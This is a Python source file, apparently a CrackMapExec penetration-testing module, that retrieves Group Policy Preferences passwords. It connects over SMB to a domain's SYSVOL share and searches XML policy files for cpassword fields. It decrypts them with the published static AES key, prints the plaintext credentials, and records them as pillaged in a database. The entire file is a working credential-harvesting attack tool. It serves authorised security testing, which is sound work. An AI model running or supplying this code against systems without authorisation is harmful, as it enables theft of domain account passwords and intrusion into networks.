98 lines
4.0 KiB
Python
98 lines
4.0 KiB
Python
#!/usr/bin/env python3
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# -*- coding: utf-8 -*-
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import xml.etree.ElementTree as ET
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from Cryptodome.Cipher import AES
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from base64 import b64decode
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from binascii import unhexlify
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from io import BytesIO
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class CMEModule:
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'''
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Reference: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1
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Module by @byt3bl33d3r
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'''
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name = 'gpp_password'
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description = 'Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.'
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supported_protocols = ['smb']
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opsec_safe = True
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multiple_hosts = True
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def options(self, context, module_options):
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'''
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'''
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def on_login(self, context, connection):
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shares = connection.shares()
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for share in shares:
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if share['name'] == 'SYSVOL' and 'READ' in share['access']:
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context.log.success('Found SYSVOL share')
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context.log.info('Searching for potential XML files containing passwords')
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paths = connection.spider('SYSVOL', pattern=['Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'])
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for path in paths:
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context.log.info('Found {}'.format(path))
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buf = BytesIO()
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connection.conn.getFile('SYSVOL', path, buf.write)
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xml = ET.fromstring(buf.getvalue())
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sections = []
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if 'Groups.xml' in path:
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sections.append('./User/Properties')
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elif 'Services.xml' in path:
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sections.append('./NTService/Properties')
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elif 'ScheduledTasks.xml' in path:
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sections.append('./Task/Properties')
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sections.append('./ImmediateTask/Properties')
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sections.append('./ImmediateTaskV2/Properties')
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sections.append('./TaskV2/Properties')
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elif 'DataSources.xml' in path:
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sections.append('./DataSource/Properties')
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elif 'Printers.xml' in path:
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sections.append('./SharedPrinter/Properties')
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elif 'Drives.xml' in path:
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sections.append('./Drive/Properties')
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for section in sections:
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xml_section = xml.findall(section)
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for attr in xml_section:
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props = attr.attrib
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if 'cpassword' in props:
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for user_tag in ['userName', 'accountName', 'runAs', 'username']:
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if user_tag in props:
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username = props[user_tag]
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password = self.decrypt_cpassword(props['cpassword'])
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context.log.success('Found credentials in {}'.format(path))
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context.log.highlight('Password: {}'.format(password))
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for k,v in props.items():
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if k != 'cpassword':
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context.log.highlight('{}: {}'.format(k, v))
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hostid = context.db.get_computers(connection.host)[0][0]
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context.db.add_credential('plaintext', '', username, password, pillaged_from=hostid)
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def decrypt_cpassword(self, cpassword):
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#Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385
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# From MSDN: http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
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key = unhexlify('4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b')
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cpassword += "=" * ((4 - len(cpassword) % 4) % 4)
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password = b64decode(cpassword)
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IV = "\x00" * 16
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decypted = AES.new(key, AES.MODE_CBC, IV.encode("utf8")).decrypt(password)
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return decypted.decode().rstrip()
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